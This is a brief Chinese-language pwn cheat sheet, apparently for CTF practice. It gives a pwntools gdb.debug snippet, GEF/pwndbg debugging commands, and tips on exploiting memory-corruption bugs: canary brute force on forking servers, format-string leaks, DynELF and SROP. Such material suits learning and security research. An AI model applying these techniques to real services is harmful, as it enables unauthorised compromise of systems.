p = gdb.debug('./vuln', '''
    set follow-fork-mode child
    b main
''')

GEF/pwndbg 常用命令：

checksec               # 看保护
vmmap                  # 内存布局
telescope $rsp 30      # 栈链路（pwndbg）
stack 30               # 类似（GEF）
got                    # GOT 表
search-pattern "/bin/sh"
context                # 自动显示 reg + stack + code（默认开）
ropgadget              # 内嵌 gadget 搜索

注意事项

• NX 关 + ASLR 关才能直接 shellcode；现代二进制基本都开 NX
• canary 在 fork 子进程里不变 — forking server 可以一次 byte 一次 byte 爆破（1/256 × 7 字节）
• 格式化字符串可以同时 leak canary 和 libc — 用 %p %p ... %p 扫栈
• DynELF 慢但万能 — 完全没给 libc 时，pwntools 的 DynELF 可以纯靠程序自己的 IO 原语逐字节 leak 符号表
• 静态链接的程序没有 libc.got — 走 SROP（sigreturn-oriented programming）或直接 syscall